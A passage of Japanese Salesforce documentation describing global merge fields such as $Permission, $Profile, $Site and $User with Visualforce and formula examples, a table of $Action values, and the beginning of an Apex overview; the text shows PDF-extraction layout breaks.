Organization 差し込み項目は、組織情報の一部として現在Salesforceに保存されている値か
ら値を取得します。

ヒント:

{!$Organization.UiSkin} は選択リスト値であるため、カスタム項目、入力規則、
Visualforce 式、フロー数式、プロセス数式、およびでワークフロールール数式で
ISPICKVAL() などの選択リスト関数で使用する必要があります。

$Page

Visualforce ページを参照する際に使用するグローバル差し込み項目の種別です。説明:

この式を Visualforce ページで使用し、別の Visualforce ページにリンクします。使用:

<apex:page>
<h1>Linked</h1>

Visualforce の例:

<apex:outputLink value="{!$Page.otherPage}">
This is a link to another page.

</apex:outputLink>
</apex:page>

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$Permission

現在のユーザのカスタム権限アクセスに関する情報を参照するときに使用するグローバ
ル差し込み項目の種別です。組織のカスタム権限へのユーザの現在のアクセスに関する
情報を参照するには、Permission 差し込み項目を使用します。

説明:

使用: 1. 項目の種類として $Permission を選択します。
2. $Permission.customPermissionName のように差し込み項目を挿入します。

次の入力規則は、現在のユーザのカスタム権限 changeAustinAccounts を参照します。この
ルールでは、changeAustinAccounts を持つユーザのみが請求先市区郡がオースティンであ
る取引先を更新できます。
BillingCity = 'Austin' &&
$Permission.changeAustinAccounts

入力規則の例:
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ページブロックを、カスタム権限 seeExecutiveData を持つユーザにのみ表示するには、次
のように指定します。
<apex:pageBlock rendered="{!$Permission.canSeeExecutiveData}">

<!-- Executive Data Here -->
</apex:pageBlock>

Visualforce の例:

$Permission は、カスタム権限が組織で作成されている場合にのみ表示されます。このグ
ローバル変数は、プロセス、フロー、ワークフローのルールではサポートされません。

ヒント:

$Profile

現在のユーザを参照するときに使用するグローバル差し込み項目の種別です。Profile 差
し込み項目を使用して、ライセンスの種類や名前など、ユーザのプロファイルに関する
情報を参照します。

説明:

使用: 1. 項目の種類として $Profile を選択します。
2. $Profile.Name のように差し込み項目を挿入します。

下記の入力規則の数式は、現在のユーザのプロファイル名を参照し、[個人目標] とい
うカスタム項目を、そのレコード所有者またはこのプロファイルを持つユーザだけが変
えられるようにします。
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

入力規則の例:

実行ユーザのプロファイルを特定するには、次の式でフロー数式 (Text) を作成します。
{!$Profile.Name}

フローの例:

この数式を参照することで、クエリ (検索要素) の使用を回避して制限数を節約します。

現在のユーザのプロファイルを返すには、次のコードを使用します。
{!$Profile.Name}

Visualforce の例:

ヒント: • $Profile 差し込み項目は、カスタムプロファイルを作成できるエディションでの
み使用可能です。

• プロファイル名を使用して、$Profile 差し込み項目で標準プロファイルを参照し
ます。これまでプロファイルの内部値を参照していた場合には、次のリストにより
使用する名前を決定してください。

$Profile 値標準プロファイル名

PT1システム管理者
PT2標準ユーザ
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$Profile 値標準プロファイル名

PT3参照のみ
PT4ソリューション管理者
PT5マーケティングユーザ
PT6契約管理者
PT7パートナーユーザ
PT8標準 Platform ユーザ
PT9標準 Platform One アプリケーショ

ンユーザ
PT13カスタマーポータルユーザ
PT14カスタマーポータルマネージャ

• プロファイル属性が空白の場合は、差し込み項目値が空白になります。たとえば、
[説明] は必須ではないため、値が入らないこともあります。

• これらの差し込み項目を使用するのに、プロファイル情報に対するユーザ権限やア
クセス権をユーザに与える必要はありません。

$RecordType

現在のレコードのレコードタイプを参照するときに使用するグローバル差し込み項目
です。

説明:

手動で Sコントロールに $RecordType を追加します。使用:

現在のレコードタイプの ID を返すには、次のコードを使用します。
{$RecordType.Id}

Visualforce の例:

ヒント: • $RecordType.Name の代わりに $RecordType.Id を使用して、特定のレコードタ
イプを参照します。$RecordType.Nameにより、数式が読みやすくなりますが、レ
コードタイプの ID が変更になることはないため、レコードタイプの名前が変わるた
びに、数式を更新する必要があります。ただし、ID は組織全体で同じではないた
め、組織全体 (Sandbox と本番間など) で数式をリリースする場合は
$RecordType.Name を使用します。

• デフォルト値の数式を除き、数式では $RecordType を使用しないでください。代
わりに、オブジェクトで RecordType 差し込み項目 (Account.RecordType.Name

など) または RecordTypeId 項目を使用します。
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• クロスオブジェクト数式では、$RecordType 差し込み項目を含む項目は一切参照
しないでください。$RecordType 変数は、数式を含むレコードを解決し、数式が
またがるレコードについては解決しません。代わりに、オブジェクトでRecordType

差し込み項目を使用します。

$Request

値を返す名前を使って、クエリパラメータを参照するときに使用するグローバル差し
込み項目です。

説明:

手動で Sコントロールに $Request を追加します。使用:

下に示す Title_Snippetという名前のスニペットには、titleThemeと titleText

の 2 つの入力パラメータが必要です。このスニペットは、HTML でページのタイトルと
テーマを指定する複数の Sコントロールに再利用できます。
<h2

class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

Sコントロールの例:

以下の Sコントロールは、作成する HTML ページのタイトルとテーマの両方のパラメー
タを INCLUDE 関数に渡し、この関数を使用してこのスニペットを呼び出します。
<html> <head> </head> <body> {!

INCLUDE($SControl.Title_Snippet, [titleTheme =
"modern", titleText = "My Sample Title"]) } ... Insert your page specific
content

here ... </body> </html>

クエリパラメータを参照するために、Visualforce ページで $Request を使用することは
避けてください。代わりに $CurrentPage を使用します。

ヒント:

$Resource

Visualforce ページで、既存の静的リソースを名前で参照するときに使用するグローバル
差し込み項目の種別です。また、URLFOR関数でリソース差し込み項目を使用して、静
的リソースアーカイブ内の特定のファイルを参照することもできます。

説明:

$Resource を使用して、既存の静的リソースを参照します。形式は、
$Resource.nameOfResource です (例: $Resource.TestImage)。

使用:

次のVisualforceコンポーネントは、静的リソースとしてアップロードされ、TestImage

という名前が付けられた画像ファイルを参照します。
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

Visualforce の例:
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アーカイブ内 (.zip または .jar ファイルなど) のファイルを参照するには、URLFOR

関数を使用します。最初のパラメータには、そのアーカイブをアップロードしたとき
に指定した静的リソース名を、第 2 パラメータには、アーカイブ内での目的ファイルへ
のパスを指定します。次に例を示します。
<apex:image url="{!URLFOR($Resource.TestZip,

'images/Bluehills.jpg')}" width="50" height="50"/>

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$SControl

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前に Sコントロールを使用してい
ない場合は、作成できません。既存の Sコントロールに影響はありません。今後も編集できます。

既存のカスタムSコントロールを名前で参照する際に使用するグローバル差し込み項目
の種別です。カスタムSコントロールの 1 つを参照するには、Sコントロール差し込み項
目を LINKTO、INCLUDE、および URLFOR 関数に使用します。

説明:

使用: 1. 項目の種類として $SControl を選択します。
2. $Scontrol.Header_Snippetのように、Sコントロール自身を表す差し込み項目を

挿入する Sコントロールを選択します。

以下の Sコントロールは、$Scontrol.Header_Snippet差し込み項目内のスニペット
を参照します。
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title",

theme = "modern"])} </body> </html>

Sコントロールの例:

次の例は、Visualforce ページにある HelloWorld という名前の Sコントロールにリンクする
方法を示します。
<apex:page>
<apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld

Visualforce の例:

s-control</apex:outputLink>
</apex:page>

ページに Sコントロールを埋め込むだけなら、$SControl 差し込み項目がなくても
<apex:scontrol> タグを使用できます。例:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

ヒント: • [差し込み項目の挿入]のドロップダウンリストには、スニペット以外のカスタムSコ
ントロールがすべて表示されます。スニペットは Sコントロールですが、動作が異
なります。たとえば、スニペットは URLFOR 関数から直接参照できません。スニ
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ペットは、「カスタムSコントロール」の [内容のソース] を持つカスタムボタンま
たはカスタムリンクの作成時に使用することはできません。また、スニペットは
ページレイアウトに追加できません。Sコントロールにスニペットを挿入するには、
[スニペットの挿入] ドロップダウンボタンを使用します。

• このグローバル変数はカスタムボタン、リンク、Sコントロール、および Visualforce

ページでのみ使用できます。

$Setup

「階層」型のカスタム設定を参照する際に使用するグローバル差し込み項目の種別で
す。

説明:

$Setupは、ドット表記を使用して階層カスタム設定およびその項目値にアクセスする
ために使用します。たとえば、$Setup.App_Prefs__c.Show_Help_Content__c で
す。

使用:

階層カスタム設定では、次の 3 つの異なるレベルの値を使用できます。
1. すべてのユーザのデフォルト値である組織
2. 組織の値を上書きするプロファイル
3. 組織およびプロファイルの値を上書きするユーザ
Salesforceでは、実行中のユーザの現在のコンテキストに基づいて、このカスタム設定に
適した値が自動的に判別されます。

{!$Setup.CustomSettingName__c.CustomFieldName__c}
数式項目の例:

数式項目は階層カスタム設定でのみ機能し、リストカスタム設定には使用できません。

次の例では、ユーザ設定に応じて入力項目に拡張ヘルプメッセージを条件付きで表示
する方法を示しています。
<apex:page>

<apex:inputField value="{!usr.Workstation_Height__c}"/>

Visualforce の例:

<apex:outputPanel id="helpWorkstationHeight"
rendered="{!$Setup.App_Prefs__c.Show_Help_Content__c}">
Enter the height for your workstation in inches, measured from

the
floor to top of the work surface.

</apex:outputPanel>
...

</apex:page>

カスタム設定の組織レベルが trueに設定されていると、デフォルトで拡張ヘルプメッ
セージがユーザに表示されます。個々のユーザがヘルプメッセージの表示を希望しな
い場合は、そのユーザのカスタム設定を false に設定して、組織 (またはプロファイ
ル) の値を上書きすることができます。
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このグローバル変数を使用する Visualforce ページでは、「リスト」型のカスタム設定は
使用できません。リストカスタム設定には、Apex でアクセスできます。

このグローバル変数は、Visualforce ページ、数式項目、入力規則、フロー数式、および
プロセス数式で使用できます。

ヒント:

$Site

現在のForce.comサイトを参照するときに使用するグローバル差し込み項目の種別です。説明:

現在の Force.com サイトの情報にアクセスするには、ドット表記を使用します。次のサ
イト項目のみを使用できます。

説明差し込み項目

使用:

現在のサイトの API 名を返します。$Site.Name

組織の Force.com ドメイン名を返します。$Site.Domain

要求のカスタム URL の末尾が force.comではない場
合はカスタム URL を返し、そうでない場合はサイト

$Site.CustomWebAddress

の主カスタム URL を返します。どちらも存在しない
場合は、空の文字列を返します。この URL のパスは、
要求のカスタム URL にパスプレフィックスがあって
も、常にルートです。現在の要求がサイト要求では
ない場合、この項目は空の文字列を返します。この
項目の値の末尾は常に / 文字です。
$Site.CustomWebAddress の使用はお勧めしません。代わ
りに $Site.BaseCustomUrl を使用することをお勧めしま
す。

このページがサイトに指定されたエラーページであ
る場合は、元の URL を返し、そうでない場合は null

を返します。

$Site.OriginalUrl

参照やリンクで使用する必要がある、現在のサイト
のベース URL を返します。この項目は、現在の要求

$Site.CurrentSiteUrl

の URL ではなく、参照元ページの URL を返す場合があ
ります。この項目の値にはパスプレフィックスが含
まれており、値の末尾は常に / 文字です。現在の要
求がサイト要求ではない場合、この項目は空の文字
列を返します。$Site.CurrentSiteUrl の使用はお勧めしま
せん。代わりに $Site.BaseUrl を使用してください。
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説明差し込み項目

現在のサイトがログインが有効なポータルと関連付
けられている場合は true を返し、そうでない場合
は false を返します。

$Site.LoginEnabled

現在のサイトがセルフ登録対応のカスタマーポータ
ルと関連付けられている場合は true を返し、そう
でない場合は false を返します。

$Site.RegistrationEnabled

認証ユーザの場合、現在ログインしているユーザの
パスワードの有効期限が切れている場合、trueを返

$Site.IsPasswordExpired

します。認証されていないユーザの場合は、false

を返します。

現在のサイトの [サイトの管理者]項目の値が返りま
す。

$Site.AdminEmailAddress

現在のサイトの URL パスプレフィックスを返します。
たとえば、サイト URL が myco.force.com/partners

$Site.Prefix

である場合、/partnersがパスのプレフィックスで
す。プレフィックスが定義されていない場合は null

を返します。現在の要求がサイト要求ではない場合、
この項目は空の文字列を返します。

現在のサイトに関連付けられたテンプレートを返し
ます。テンプレートが指定されていない場合、デフォ
ルトテンプレートを返します。

$Site.Template

現在のページがサイトに指定されたエラーページで、
エラーがある場合は、現在のページのエラーメッセー
ジを返し、そうでない場合は空の文字列を返します。

$Site.ErrorMessage

現在のページがサイトに指定されたエラーページで
あり、エラーがある場合は、現在のページのエラー

$Site.ErrorDescription

の説明を返し、そうでない場合は空の文字列を返し
ます。

サイトに関連付けられている追跡コード。このコー
ドは、Google Analytics などのサービスによって、サイ

$Site.AnalyticsTrackingCode

トのページリクエストデータを追跡するために使用
されます。

Force.com サブドメインが使用されていない、現在の
サイトのベース URL を返します。サイトの Force.com

$Site.BaseCustomUrl

以外のカスタム URL のうち、少なくとも 1 つが HTTPS

をサポートしている場合、返された URL は、現在の
要求と同じプロトコル (HTTP または HTTPS) を使用しま
す。返された値の末尾は常に / 文字以外です。この
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説明差し込み項目

サイトのすべてのカスタム URL の末尾が force.com

か、このサイトにカスタム URL がない場合、空の文
字列が返されます。現在の要求がサイト要求ではな
い場合、このメソッドは空の文字列を返します。
この項目によって CustomWebAddressが置き換えら
れます。またこの項目にはカスタム URL のパスプレ
フィックスが含まれます。

HTTPS ではなく HTTP が使用されている、現在のサイト
のベース URL を返します。現在の要求のドメインが

$Site.BaseInsecureUrl

使用されます。返された値にはパスプレフィックス
が含まれており、値の末尾は常に / 文字以外です。
現在の要求がサイト要求ではない場合、このメソッ
ドは空の文字列を返します。

要求された URL について、現在のサイトのベース URL

を返します。これは、参照元ページの URL による影
$Site.BaseRequestUrl

響を受けません。返された URL は、現在の要求と同
じプロトコル (HTTP または HTTPS) を使用します。返さ
れた値にはパスプレフィックスが含まれており、値
の末尾は常に / 文字以外です。現在の要求がサイト
要求ではない場合、このメソッドは空の文字列を返
します。

HTTP ではなく HTTPS が使用されている、現在のサイト
のベース URL を返します。現在の要求のドメインが

$Site.BaseSecureUrl

HTTPS をサポートしていれば優先されます。Force.com

サブドメイン以外のドメインは、Force.com サブドメ
インよりも優先されます。Force.comサブドメインは、
サイトに関連付けられている場合、現在のサイトに
他の HTTPS ドメインがなければ使用されます。サイト
に HTTPS カスタム URL がない場合、このメソッドは空
の文字列を返します。返された値にはパスプレフィッ
クスが含まれており、値の末尾は常に / 文字以外で
す。現在の要求がサイト要求ではない場合、このメ
ソッドは空の文字列を返します。

参照やリンクで使用する必要がある、現在のサイト
のベース URL を返します。この項目は、現在の要求

$Site.BaseUrl

の URL ではなく、参照元ページの URL を返す場合があ
ります。この項目の値にはパスプレフィックスが含
まれており、値の末尾は常に / 文字以外です。現在
の要求がサイト要求ではない場合、この項目は空の
文字列を返します。
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説明差し込み項目

$Site.CurrentSiteUrl は、この項目に置き換えられます。

現在のサイトの [マスタ表示ラベル] 項目の値を返し
ます。現在の要求がサイト要求ではない場合、この
項目は空の文字列を返します。

$Site.MasterLabel

現在のサイトの ID を返します。現在の要求がサイト
要求ではない場合、この項目は空の文字列を返しま
す。

$Site.SiteId

現在のサイトの [サイト種別] 項目の API 値を返しま
す。現在の要求がサイト要求ではない場合、この項
目は空の文字列を返します。

$Site.SiteType

現在のサイトの [サイト種別] 項目の表示ラベル値を
返します。現在の要求がサイト要求ではない場合、
この項目は空の文字列を返します。

$Site.SiteTypeLabel

次の例では、$Site.Template 差し込み項目の使用方法を示しています。
<apex:page title="Job Application Confirmation" showHeader="false"

standardStylesheets="true">

Visualforce の例:

<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">

<apex:define name="body">
<apex:form>

<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return

false;"/>
<br/>
<br/>
<center>

<apex:outputText value="Your application has been saved.

Thank you for your interest!"/>
</center>
<br/>
<br/>

</apex:form>
</apex:define>

</apex:composition>
</apex:page>

このグローバル変数は、Visualforceページ、メールテンプレート、および Sコントロール
で使用できます。

ヒント:
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$System.OriginDateTime

リテラル値 1900-01-01 00:00:00 を表すグローバル差し込み項目です。このグローバル変数
は、日付/時間オフセット計算を実行する場合や、日付/時間項目にリテラル値を割り当
てる場合に使用します。

説明:

使用: 1. 項目の種類として $System を選択します。
2. [差し込み項目の挿入] オプションから OriginDateTime を選択します。

下記の例は、日付項目を日付/時間項目に変換する方法を示しています。ここでは、
OriginDateTime 差し込み項目の日付を使用して、[私の日付項目] というカスタム項
目からの日数を取得します。次にその日数を OriginDateTime 値に追加します。
$System.OriginDatetime + ( My_Date_Field__c -
DATEVALUE($System.OriginDatetime) )

数式の例:

メモ: OriginDateTime は GMT タイムゾーンですが、結果はユーザのローカルタ
イムゾーンで表示されます。

次の例では、1900 年 1 月 1 日以降の経過した日数を計算します。
{!NOW() - $System.OriginDateTime}

フロー、プロセス、
およびVisualforceの
例:

このグローバル変数は、次の場所で使用できます。ヒント:

• デフォルト値
• カスタム項目、フロー、プロセス、ワークフロールールの数式
• ワークフロー項目自動更新アクション
• Visualforce ページおよび Sコントロール

$User

現在のユーザを参照するときに使用するグローバル差し込み項目の種別です。User 差し
込み項目は、別名、役職、ID など、ユーザに関する情報を参照します。ユーザ標準オ
ブジェクトで使用できるほとんどの項目が $User でも使用できます。

説明:

使用: 1. 項目の種類として $User を選択します。
2. $User.Username のように差し込み項目を挿入します。

下記の入力規則の数式は、現在のユーザの ID を参照して、そのユーザがレコードの所
有者であるかどうかを判断します。次のような例を使用して、[個人目標] というカス

入力規則の例:
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タム項目を、システム管理者プロファイルを持つユーザだけが変えられるようにしま
す。
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

実行ユーザの名前に簡単にアクセスするには、フロー数式を使用します。次の式でフ
ロー数式 (Text) を作成します。
{!$User.FirstName} & “ “ & {!$User.LastName}

フローの例:

数式を作成したら、ユーザを名前でコールする必要があるフロー内の任意の場所で参
照します。$User グローバル変数を参照することで、フロー制限にカウントされる検索
の使用を回避します。

次の例は、現在のユーザの会社名と、現在のユーザの状況を表示します (Boolean 値を返
します)。
<apex:page>
<h1>Congratulations</h1>

Visualforce の例:

This is your new Apex Page
<p>The current company name for this

user is: {!$User.CompanyName}</p>
<p>Is the user active?

{!$User.isActive}</p>
</apex:page>

ヒント: • 現在のユーザは、デフォルト値、入力規則、またはこれらのグローバル差し込み項
目を使用するその他の処理を要求したレコードを変更できます。

• Web-to-ケースまたは Web-to-リードプロセスによってレコードが変更された場合、現
在のユーザは、[デフォルトのリード所有者]または[デフォルトのケース所有者]で
す。

• プロセスでスケジュール済みアクションを実行するときに、プロセスを開始した
ユーザがすでに有効でない場合は、$User でデフォルトのワークフローユーザが参照
されます。ワークフロールールの時間ベースのアクションについても同様です。

• $User 差し込み項目の一部は、モバイル設定条件で使用できます。

$User.UITheme および $User.UIThemeDisplayed

これらのグローバル差し込み項目は、指定された Web ページ上でユーザに表示される
Salesforce のデザインを識別します。
これら 2 つの変数は、$User.UITheme がユーザに表示すべきデザインを返し、
$User.UIThemeDisplayed が実際のデザインを返すという点で異なります。たとえ

説明:

ば、ユーザは Lightning Experience のデザインを表示する設定と権限を持っている場合が
ありますが、そのデザインをサポートしていないブラウザを使用していると、旧バー
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ジョンの Internet Explorer などで $User.UIThemeDisplayed が異なる値を返す場合があ
ります。

これらの変数を使用して、Salesforce Web ページをユーザに表示するときに使用される
CSS を特定します。どちらの変数も、次の値のいずれかを返します。

使用:

• Theme1  — 古い Salesforce テーマ
• Theme2  — Salesforce Classic 2005 ユーザインターフェースのテーマ
• Theme3  — Salesforce Classic 2010 ユーザインターフェースのテーマ
• Theme4d  — 最新の「Lightning Experience」Salesforce のテーマ
• Theme4t  — Salesforce1 モバイル Salesforce のテーマ
• PortalDefault  — Salesforce カスタマーポータルのテーマ
• Webstore  — Salesforce AppExchange のテーマ

次の例は、ユーザのテーマを基にさまざまなレイアウトを表示する方法を示したもの
です。
<apex:page>

<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==

Visualforce の例:

'Theme2'}">
// this is the old theme...

</apex:pageBlock>

<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==
'Theme3'}">

// this is the classic theme ...
</apex:pageBlock>

</apex:page>

$UserRole

現在のユーザのロールに関する情報を参照するときに使用するグローバル差し込み項
目の種別です。Role 差し込み項目は、ロール名、説明、ID などの情報を参照します。

説明:

使用: 1. 項目の種類として $UserRole を選択します。
2. $UserRole.Name のように差し込み項目を挿入します。

下記の入力規則の数式は、ユーザのロール名を参照して、[割引率] というカスタム項
目が、そのロールに許可されている最大値を超えていないことを確認します。
Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

入力規則の例:

{!$UserRole.LastModifiedById}
プロセス、フロー、
および Visualforce:
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ヒント: • 現在のユーザは、デフォルト値、入力規則、またはこれらのグローバル差し込み項
目を使用するその他の処理を要求したレコードを変更できます。

• Web-to-ケースまたは Web-to-リードプロセスによってレコードが変更された場合、現
在のユーザは、[デフォルトのリード所有者]または[デフォルトのケース所有者]で
す。

• プロセスでスケジュール済みアクションを実行するときに、プロセスを開始した
ユーザがすでに有効でない場合は、$UserRole でデフォルトのワークフローユーザの
ロールが参照されます。ワークフロールールの時間ベースのアクションについても
同様です。

メモ: 次の $UserRole 値は Visualforce では使用できません。
• CaseAccessForAccountOwner

• ContactAccessForAccountOwner

• OpportunityAccessForAccountOwner

• PortalType

関連トピック:

$Action グローバル変数の有効な値

$Action グローバル変数の有効な値

エディション

使用可能なエディション:
Salesforce Classic

$Action グローバル変数
を使用可能なエディショ
ン: すべてのエディション

ユーザ権限

カスタムSコントロール、
数式、または Visualforce
ページを作成、編集、お
よび削除する
• 「アプリケーションの

カスタマイズ」

すべてのオブジェクトで、新規作成、コピー、表示、編集、リスト、削除など
の基本アクションがサポートされています。$Action グローバル変数は、多く
の標準オブジェクトで使用できるアクションも参照します。組織で使用可能な
値は、有効化している機能によって異なります。
次の表は、$Action グローバル変数を使用して参照できるアクションとそのア
クションを実行できるオブジェクトを示しています。

オブジェクト説明値

レコードを引き受けます。Accept • 広告グループ
• ケース
• 行動
• Google キャン

ペーン
• キーワード
• リード
• 検索語句
• SFGA バージョン
• テキスト広告
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契約契約を有効化します。Activate

商品2価格表に商品を追加します。Add

キャンペーンキャンペーンにメンバーを追加します。AddCampaign

商談商談の影響のあるキャンペーンリストにキャンペー
ンを追加します。

AddInfluence

OpportunityLineItem価格表に商品を追加します。AddProduct

キャンペーンに取引先責任者またはリードを追加
します。

AddToCampaign • 取引先責任者
• リード

行動Microsoft Outlook に行動を追加します。AddToOutlook

キャンペーンキャンペーンの高度な設定を起動します。AdvancedSetup

www.altavista.com/news/ を起動します。AltavistaNews • 取引先
• リード

行動行動をキャンセルします。Cancel

ソリューションソリューションにケースを指定します。CaseSelect

レコードの所有者を変更します。ChangeOwner • 取引先
• 広告グループ
• キャンペーン
• 取引先責任者
• 契約
• Google キャンペーン
• キーワード
• 商談
• 検索語句
• SFGA バージョン
• テキスト広告

ケースの状況を変更します。ChangeStatus • ケース
• リード

OpportunityLineItem使用する価格表を選択します。ChoosePricebook

レコードをコピーします。Clone • 広告グループ
• 納入商品
• キャンペーン
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• キャンペーンメンバー
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 商品
• 検索語句
• SFGA バージョン
• テキスト広告
• カスタムオブジェクト

ケース親ケースの詳細と関連付けたケースを作成します。CloneAsChild

ケースケースをクローズします。CloseCase

リードリードから得られる情報を使用して、新規の取引
先、取引先責任者、商談を作成します。

Convert

キャンペーンメンバーリードをキャンペーンメンバーに変換します。ConvertLead

キャンペーンメンバーキャンペーンメンバーに基づいて、商談を作成し
ます。

Create_Opportunity

行動行動を辞退します。Decline

レコードを削除します。Delete • 広告グループ
• 納入商品
• キャンペーン
• キャンペーンメンバー
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 商談商品
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• 商品
• 検索語句
• SFGA バージョン
• ソリューション
• ToDo

• テキスト広告
• カスタムオブジェクト

定期的な行動または ToDo を削除します。DeleteSeries • 行動
• ToDo

取引先責任者カスタマーポータルユーザを無効化します。DisableCustomerPortal

取引先カスタマーポータルアカウントを無効化します。DisableCustomerPortalAccount

取引先責任者パートナーポータルユーザを無効化します。DisablePartnerPortal

取引先パートナーポータル取引先を無効化します。DisablePartnerPortalAccount

添付ファイルをダウンロードします。Download • 添付ファイル
• ドキュメント

レコードを編集します。Edit • 広告グループ
• 納入商品
• キャンペーン
• キャンペーンメンバー
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 商談商品
• 商品
• 検索語句
• SFGA バージョン
• ソリューション
• ToDo

• テキスト広告
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• カスタムオブジェクト

OpportunityLineItem価格表にあるすべての商品を編集します。EditAllProduct

取引先取引先をパートナー取引先として指定します。EnableAsPartner

取引先責任者取引先責任者をパートナーポータルユーザとして
有効化します。

EnablePartnerPortalUser

取引先責任者取引先責任者をセルフサービスユーザとして有効
化します。

EnableSelfService

リード重複するリードを表示します。FindDup

行動フォローアップ行動を作成します。FollowupEvent

行動フォローアップ ToDo を作成します。FollowupTask

Hoovers プロファイルを表示します。HooversProfile • 取引先
• リード

取引先Connect Offline に取引先レコードを含めます。IncludeOffline

Google マップ上で住所を示します。GoogleMaps • 取引先
• 取引先責任者
• リード

www.google.com/news を表示します。GoogleNews • 取引先
• 取引先責任者
• リード

www.google.com を表示します。GoogleSearch • 取引先
• 取引先責任者
• リード

オブジェクトのレコードを表示します。List • 広告グループ
• キャンペーン
• ケース
• 取引先責任者
• 契約
• Google キャンペーン
• キーワード
• リード
• 商談
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• 商品
• 検索語句
• SFGA バージョン
• ソリューション
• テキスト広告
• カスタムオブジェクト

活動活動を記録します。LogCall

活動差し込み印刷を作成します。MailMerge

キャンペーン[メンバーの管理] ページを起動します。ManageMembers

ケース複数ケースをクローズします。MassClose

取引先責任者取引先責任者をマージします。Merge

新規レコードを作成します。New • 活動
• 広告グループ
• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 検索語句
• SFGA バージョン
• ソリューション
• ToDo

• テキスト広告
• カスタムオブジェクト

ToDoToDo を作成します。NewTask

更新を要求します。RequestUpdate • 取引先責任者
• 活動

ソリューションユーザをセルフサービスユーザとして登録します。SelfServSelect
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活動メールを送信します。SendEmail

Gmail で空のメールを開きます。SendGmail • 取引先責任者
• リード

OpportunityLineItem価格表内の商品を並び替えます。Sort

レコードを共有します。Share • 取引先
• 広告グループ
• キャンペーン
• ケース
• 取引先責任者
• 契約
• Google キャンペーン
• キーワード
• リード
• 商談
• 検索語句
• SFGA バージョン
• テキスト広告

承認を受けるレコードを送信します。Submit for Approval • 取引先
• 活動
• 広告グループ
• 納入商品
• キャンペーン
• キャンペーンメンバー
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 商談商品
• 商品
• 検索語句
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• SFGA バージョン
• ソリューション
• ToDo

• テキスト広告

オブジェクトのタブにアクセスします。Tab • 広告グループ
• キャンペーン
• ケース
• 取引先責任者
• 契約
• Google キャンペーン
• キーワード
• リード
• 商談
• 商品
• 検索語句
• SFGA バージョン
• ソリューション
• テキスト広告

レコードを参照します。View • 活動
• 広告グループ
• 納入商品
• キャンペーン
• キャンペーンメンバー
• ケース
• 取引先責任者
• 契約
• 行動
• Google キャンペーン
• キーワード
• リード
• 商談
• 商談商品
• 商品
• 検索語句
• SFGA バージョン
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• ソリューション
• テキスト広告
• カスタムオブジェクト

キャンペーンすべてのキャンペーンメンバーを表示します。ViewAllCampaignMembers

キャンペーン[キャンペーンと影響を受ける商談] レポートを表示
します。

ViewCampaignInfluenceReport

取引先責任者すべてのパートナーポータルユーザを表示します。ViewPartnerPortalUser

取引先責任者すべてのセルフサービスユーザを表示します。ViewSelfService

Yahoo! 地図上で住所を示します。YahooMaps • 取引先
• 取引先責任者
• リード

取引先責任者http://weather.yahoo.com/ を表示します。YahooWeather

関連トピック:

グローバル変数

Apex コードの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Apex は、開発者が Force.com プラットフォームサーバでフローとトランザクショ
ンの制御ステートメントをForce.comAPIへのコールと組み合わせて実行できるよ
うにした、強く型付けされたオブジェクト指向のプログラミング言語です。Java

に似た、データベースのストアドプロシージャのように動作する構文を使用す
る Apex により、開発者は、ボタンクリック、関連レコードの更新、および
Visualforce ページなどのほとんどのシステムイベントにビジネスロジックを追加
できます。Apex コードは、Web サービス要求、およびオブジェクトのトリガか
ら開始できます。
Apex は、2 種類の形式でプラットフォームに格納できます。
• クラスは、Apex オブジェクト作成するためのテンプレート、つまり設計図

で、他のクラス、ユーザ定義メソッド、変数、例外型、および静的初期化
コードで構成されます。[設定] から、[クイック検索] ボックスに「Apex ク
ラス」と入力し、[Apex クラス] を選択します。「Apex クラスの管理」 (ページ 6587)を参照してください。

• トリガは、オブジェクトレコードがデータベースに挿入される前や、レコードが削除された後など、特定
のデータ操作言語 (DML) 行動が発生する前後に実行されるApexコードです。トリガは、Salesforceにメタデー
タとして保存されます。組織のすべてのトリガのリストは、[設定] の [Apex トリガ] ページにあります。「Apex

トリガの管理」 (ページ 6589)を参照してください。
Apexは一般に、システムコンテキストで実行されます。つまり、コード実行時に、現在のユーザの権限、項目
レベルセキュリティ、および共有ルールは考慮されません。
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Apexの 75% 以上を単体テストの対象として、本番環境にコードをリリースする必要があります。また、すべて
のトリガについても何らかのテストを行う必要があります。「Apex単体テスト」 (ページ 6895)を参照してくだ
さい。
クラス、トリガ、テストを作成した後は、開発者コンソールを使用して、再度これらを実行します。

メモ: Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、または Sandbox 組織を使用してい
る場合にのみ、Salesforce ユーザインターフェースを使用して Apex を追加、編集、または削除できます。
Salesforceの本番組織の場合、Apexに変更を加えるには、メタデータ APIの deploy コール、Force.com IDE、
または Force.com 移行ツールを使用する必要があります。Force.com IDE および Force.com 移行ツールは、
Salesforceが提供するユーザおよびパートナーをサポートする無料のリソースですが、Salesforceマスターサ
